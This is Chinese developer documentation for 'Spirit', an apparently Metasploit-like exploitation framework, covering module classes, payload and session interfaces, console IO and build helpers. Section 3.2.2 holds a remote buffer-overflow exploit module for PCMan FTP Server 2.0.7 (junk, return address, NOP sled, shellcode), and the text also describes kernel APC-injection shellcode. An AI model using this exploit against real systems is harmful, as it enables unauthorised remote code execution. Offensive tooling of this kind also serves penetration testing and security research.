Spirit开发文档

目录

交互式控制台 模块管理 会话管理 插件管理 攻击载荷管理

2.2 主要参与人员

本项目有猫头鹰安全团队开发。

核心开发成员：杰哥 3he11

3 模块开发

3.1 模块简介

我们模块采用MSF思路分类与管理，采用Python3为开发语言。

3.1.1模块目前主要是分为以下两大类：

- auxiliary
- exploit

其它类型仍在开发中。

3.1.2可选导入扩展

SpiritCore.System IO模块 主要用于管理彩色打印 日志输出等等
SpiritCore.Session 会话管理 主要用于后门会话管理
SpiritCore.Modules 模块管理 主要用于模块管理 并不常用 但是定义一个模块是以内部Modules类进行定义。通过继承方式进行定义。
SpiritCore.Spirit 框架核心 这里主要是定义了框架各种信息，各种命令还有模块加载器等等。
SpiritCore.Payload Payload管理 此框架主要是用于Payload模块管理。
SpiritCore.Lib.Logs 路径处理 日志和文件路径处理模块
SpiritCore.Lib.Build 编译模块 用于自动化 cmake c++ 汇编编译模块
SpiritCore.Lib.Fofa fofa模块
SpiritCore.Lib.Payload Payload模块 主要是Payload核心代码 比如shellcode对应的汇编代码等等。（部分Payload仍在模块里后面版本会放进去）

3.2 模块主类

3.2.1模块主类定义

我们以下代码为简易无功能模块

```
from SpiritCore.Modules import * #Modules定义处
from SpiritCore.System import *  #用于管理控制台输入 以下print_success
class Module(Modules):
        Info = {
                "Name": "Test", #模块名
                "Author": "ZSD",# 作者信息
                "Description": "Test ",#模块解释
                "Options": (#参数管理
                        ("Port", "23", True, 'Port Info',None),#参数
                        #名 Port
                        #值 23
                        #是否为空 True
                        #参数解释 Port Info
                        #可选参数 None 如果使用修改为["23","22"]两个参数。
                ),
                "Payload":["windows/exec","Payload Manager"],#采用Payload 如果不使用payload 删掉即
    }


        def Exploit(self):
            print_success("HelloWorld")
            print_msg("Port:"+self.Parameate["Port"])
            #输出Port的值
```

以上解释信息。

- **Exploit** 此函数是模块执行入口，任何攻击代码从此处开始执行。
- **Info** 此处标记模块信息与参数定义。
- 第1 第2行代码 此两行代码为导入扩展 3.1.2 有相对应解释。

3.2.2 一个简单缓冲区溢出攻击模块

```
from SpiritCore.Modules import *
from SpiritCore.System import *
class Module(Modules):
        Info = {
                "Name": "PCMan FTP Server Remote Buffer Overflow",
                "Author": "ZSD",
                "Description": "PCMan FTP Server 2.0.7 - Remote Buffer Overflow  ",
                "Options": (
                    ("Address", "23", True, 'PCMan FTP Server Address',None),
                    ("Port", "21", True, 'FTP Port',["21","2121"]]),

                ),
                "Payload":["windows/spiriter","Payload Manager"],
    }


        def Exploit(self):
            print_msg("Connecting Target IP Address:%s"%self.Parameate["Address"])
            Cmd = b"USER " #Vulnerable command
            JuNk = b"\x42" * 2004
            ret = b"\x65\x82\xA5\x7C"  #Return Address
            nop = b"\x90" * 50
            shellcode=self.Payload.PayloadData
            print_msg("Send ShellCode Data Length:%d"%self.Payload.Lenght)
            packet = Cmd + JuNk + ret + nop + shellcode
            try:
                net_sock = socket(AF_INET, SOCK_STREAM)
                net_sock.connect((victim, port))
                net_sock.sendall(packet)
                print_success("Sending Packet:%d"%len(packet))
            except Exception as error:
                print_error("Error:%s"%error.__str__())
            self.SessionStart() #创建会话管理器
```

以上解释信息:

- Spiri执行模块入口时，一旦调用会对self.Payload进行初始化。内部PayloadData为payload数据，其Length为Payload长度。
- 最后调用self.SessionStart函数，此函数用于创建对应的会话管理器，比如bind_tcp 会直接连接对应的端口等等，re_tcp会在本地监听端口。然而部分比如exec不会支持此函数功能

3.3 条件参数

3.3.1 条件信息

我们可以通过条件参数可以约束一些参数表是否有效。比如各种代理信息对应认证方式，比如需要用户名 需要key等等 我们全部加入Options会造成参数管理不方便问题。 所以我们框架加入条件参数。

3.3.2 条件参数定义

```
from SpiritCore.Modules import *
class Module(Modules):
        Info = {
                "Name": "Test",
                "Author": "ZSD",
                "Description": "Test ",
                "Options": (
                        ("Port", "23", True, 'Target Port',None),#条件参数其实与
                ),
                "SSH": (#SSH参数表
                        ("IP", "127.0.0.1", True, "Server Address"),
                        ("Key", "key。key", True, "info"),
                ),
                "FTP": (#FTP参数表
                        ("IP", "127.0.0.2", True, "Server Address"),
            ("File", "upload.jpg", True, "IMAGE"),
                ),

    }
        DEFINE = {#条件参数定义
                "SSH": {"Port": "22"},#定义Port为条件参数 如果值等于22 那么SSH参数表会有效
                "FTP":{"Port":"21"} #定义Port为条件参数 如果值等于21 那么FTP参数表会有效
        }

        def Exploit(self):
                print(self.Parameate)#输出参数信息
```

其原理是通过if方式判断DEFINE里面的值是否等于，如果等于那么对应参数表就会生效。
我们通过根据此功能定义不同的参数组合。

3.4 Payload与Session接口

3.4.1 Payload模块

3.4.1.1 Payload变量

Payload模块可以通过内部Payload对象获取相对应数据，比如以下获取shellcode的例子

```
def Exploit(self):
    shellcode=self.Payload.PayloadData
```

目前存放信息如下

> self
>
> > Payload

> > > PayloadData
> > > Length
> > > Name

self Modules self 包含成员信息等等
Payload Payload对象 其实内部是一个class方便储存
PayloadData 存放主要payload比如shellcode
Length 长度
Name Payload名称，这里直属那个payload模块 比如windows/exec

3.4.1.2 ShellCode类

ShellCode类主要是用来生成更多自定义shellcode形式的Payload，我这里已经封装好了一个函数名为：**GSCOBJECT()**

函数名：GSCOBJECT
参数：无
返回值:一个已经构造好的__ShellCode__对象

成员信息

变量:
Architecture 目前生成架构主要是以x64为主。
PayloadName Payload名称

函数:

AsmToBin 将汇编代码转换成shellcode，架构根据Architecture来决定生成。（由于现版本不开启keystone所以并不开启）
raw_shellcode 读取shellcode数据， 并未进行任何转换的
Ring0ApcInjectRing3Shellcode 以APC注入为核心的内核ShellCode

> 参数:

> **ProcessName** 进程名 会将应用层shellcode注入到对应进程
> **Architecture** 架构 但目前采用x64
> 返回值:
>
> > 未进行任何处理的shellcode

compute_api_hash 部分ShellCode通过hash方式查找函数地址，这里直接提供一套hash算法。

> 参数:
>
> > **String** 要加密的字符串 比如函数名称
> > **key** 加密密钥 一般为13

3.5 IO模块

3.5.1 IO模块简介

IO模块主要是负责控制台与日志系统的输入输出。
比如彩色输入 日志记录 逻辑输入等等

3.5.2 控制台输出/彩色输出

3.5.2.1 彩色输出

控制台输出为了更加美化交互式内容，我们加入了以下函数作为输出接口
（注意输出内容 统一加入日志进行记录）
以下为输出函数。
print_success 输出成功信息
print_error 输出错误信息
print_msg 输出提示信息
print_warning 输出警告信息
print_what 输出问号信息

以上函数均为一样的参数结构

> 参数
>
> > **line** 输出内容
> > **time** 默认为False 如果为True那么加入时间进行输出。

3.5.2.2 标准输出

write 输入没有经过任何处理的字符串。

> 参数
>
> > **line** 输出内容
> > **end** 输出与日志文件的后位字符串，默认为\n回车

3.5.3 控制台输入

控制台输入已经在Fcmd基本实现，我们只做剩下功能进行说明

3.5.3.1 input_chions

此函数为多选项输入，多个项目进行选择，并且输入对应排序号，并且返回排序号内容。

```
Parame={"21":"FTP","22":"SSH","23":"TELNET"}
Chios = input_chions("21","Port",Parame,"Your use Port")
print(Chios)
```

输出内容：

```
[+] Port :: Your use Port

 21)      FTP
 22)      SSH
 23)      TELNET

[?] Port [21] :
```

默认会返回21，如果没有做出选择和选错

> 参数
>
> > **default** 默认选项
> > **Name** 参数名，比如我们选择端口我就名为Port
> > **Parame** 参数列表 以字典方式 { "选项名":"选项解释" }
> > **Des** 说明信息

返回值：
返回输入选择或者默认选择。

3.5.3.2 bool_chions

次函数为逻辑选择输入，只支持两个，输入逻辑相应的值即可
（返回True False 输入值： y yes ture t即可返回True）

例子代码：

```
Chios = bool_chions("True","Chios USE ? ")
print(Chios)
```

我们测试看看

```
[?] Chios USE ?  [True] : t
True
```

默认True 我们输入t 也是识别。所以返回True

> 参数
>
> > **default** 默认选项
> > **Name** 参数名，比如我们选择端口我就名为Chios USE ？

返回值：
返回输入选择或者默认选择。

3.5.4 其它函数

3.5.4.1 TimeDate

TimeDate是获取时间信息并且处理美化过的函数，格式如下：

```
23:15 PM 01/18/2022
```

3.5.4.2 formattime

formattime是获取时间搓的函数 注意并未处理。

```
2022-01-18.23.15.18.632096
```

3.5.4.3 TextColor

将字符串进行处理函数，并且渲染颜色。
TextColor(line,COLOR_ATT=COLO_GREEN):

> 参数
>
> > **line** 处理字符串
> > **COLOR_ATT** 默认为COLO_GREEN绿色

> > > COLO_RED 红色
> > > COLO_BLUE 蓝色
> > > COLO_GREEN 绿色
> > > COLO_YELLOW 黄色

返回值
处理过的带有颜色的字符串，可以直接输出就可以显现。

3.5.4.4 WriteLogs

WriteLogs 输出日志，与Write函数一样。但是会输出日志

> 参数
>
> > **line** 输出日志字符串
> > **end** 日志文件的后位字符串，默认为\n回车

注意字符串前段会加入 **TimeDate**

3.6 路径构造

路径构造其实是文件路径构造，可以方便的处理得到一组路径，比如我们要定位SpiritCore Lib路径 可以提供其路径处理进行获取。
（所有文件处理函数都在SpiritCore.Lib.Logs扩展，因为处理日志文件校多）

3.6.1 GetPath

获取Spirit框架运行路径
返回值：Spirit框架运行路径

3.6.2 GetLogsPath

获取Spirit日志路径
返回值：Spirit框架日志路径

3.6.3 MakeLogsPath

构造新的日志文件路径,注意Windows和Linux文件路径规则以加入不用多余处理

> 参数
>
> > **FilePath** 构造文件路径 以列表方式构造

例子：

```
MakeLogsPath(["HelloWorld"])
```

以上代码返回：**/Tools/Spirit/Logs/HelloWorld**
返回值：构造新日志文件路径

3.6.4 MakePath

构造文件路径从Sprit运行路径开始。

> 参数
>
> > **FilePath** 构造文件路径 以列表方式构造
> > **Path** 从哪里构造起，默认运行路径

例子：

```
MakePath(["Bin","WWWW.exe"])
```

以上代码返回：**/Tools/Spirit/Bin/WWWW.exe**
返回值：构造文件路径

3.7 编译模块

很多shellcode与dll，为了准确与效率。我们采用NASM CMAKE进行编译。
扩展：**SpiritCore.Lib.Build**

3.7.1 C/C++ CMake

CMAKE是自动构造编译系统，我们C++ 与C 均通过CMAKE进行处理。目前版本先采用单文件形式编译。

3.7.1.1 CMAKE类

成员信息：

变量:

Types 编译类型，这里主要是以EXE DLL为主。也可以支持ELF（开发中）
CmakeFilePath CMAKE构造路径
SourceCode 核心源文件
Sources 编译文件 默认main.cpp

Filename 编译文件名
CppCmakeLists CmakeLists.txt内容
GenerateFile 编译完成时的文件路径
STDOUT 输出CMAKE运行输入输出

函数:
Generate 启动编译，返回内容是编译完成的文件路径

3.7.1.2 CMAKE例子

我们以一个HelloWorld

```
Object = CMAKE()
Object.Types="exe"
Object.SourceCode="""
#include<stdio.h>
int main(int argc,char *argv[]){
    printf("Helloworld\n");
    return 0;
}
"""
Filename=Object.Generate()
```

3.7.2 NASM

NASM是一个编译类，用于编译汇编代码

3.7.2.1 NASM类

成员信息

变量:

NasmFilePath NASM编译运行路径
Filename 文件名

SourceCode 汇编源码
Sources 汇编文件路径
GenerateFile 编译生成文件

函数:
Generate 启动编译，返回内容是编译完成的文件路径

3.7.2.3 例子

以下是汇编例子

```
NasmObject = NASM()
NasmObject.SourceCode="""
xor ecx,ecx
mov ecx,fs:[ecx+0x30]
jmp esp
"""
Filename = NasmObject.Generate()
```

3.8 自定义命令

目前支持命令有:

如何添加一条命令在Framework类里进行添加。
例子:

```
def do_command(self,line):
    print(line)
```

格式为： do_命令

> 参数
>
> > **line** 命令参数，比如exploit -j line为-j

3.9 自定义Payload

4 Spiriter